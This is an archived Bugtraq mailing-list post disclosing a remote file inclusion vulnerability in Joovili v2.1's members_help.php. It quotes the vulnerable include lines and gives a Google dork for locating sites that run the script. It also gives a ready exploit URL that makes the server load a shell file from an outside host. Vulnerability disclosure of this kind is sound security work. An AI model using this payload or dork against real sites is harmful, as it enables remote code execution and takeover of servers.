Joovili <= v.2.1 (members_help.php) Remote File İnclude Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Joovili <= v.2.1 (members_help.php) Remote File İnclude Vulnerability
From: crazy_kinq@xxxxxxxxxxxxx
Date: 7 Feb 2008 23:50:30 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Bulan : Cr@zy_King
 
Thanks : DreamTurk & Crackers_Child & Eno7 & The_Bekir & Pablin77 & Byond Crew 
& sys7ech
 
Script : Joovili
 
Versiyon : v2.1
 
Google  Dork :  © Powered by Joovili v.2.1
 
Risk : Remote File &#304;nclude 
 
Error : 
 
 include $hlp."include/settings.inc.php";
 include $hlp."include/replace.inc.php";
 
Files : members_help.php
 
Rf&#305; Exploit : 
http://localhost/members_help.php?hlp=http://shell.com/shell.txt?
 
Bora Abi ( Crackers_Child ) Sen bizim her&#351;eyimizsin be abi :D Seni sevioz
 
AYYILDIZ SWAT TIM :|

Prev by Date: Blackboard (id) Remote SQL Injection
Next by Date: [ MDVSA-2008:038 ] - Updated gd packages fix buffer overflow vulnerability
Previous by thread: Blackboard (id) Remote SQL Injection
Next by thread: [ MDVSA-2008:038 ] - Updated gd packages fix buffer overflow vulnerability
Index(es):
- Date
- Thread

Joovili <= v.2.1 (members_help.php) Remote File &#304;nclude Vulnerability

Joovili <= v.2.1 (members_help.php) Remote File İnclude Vulnerability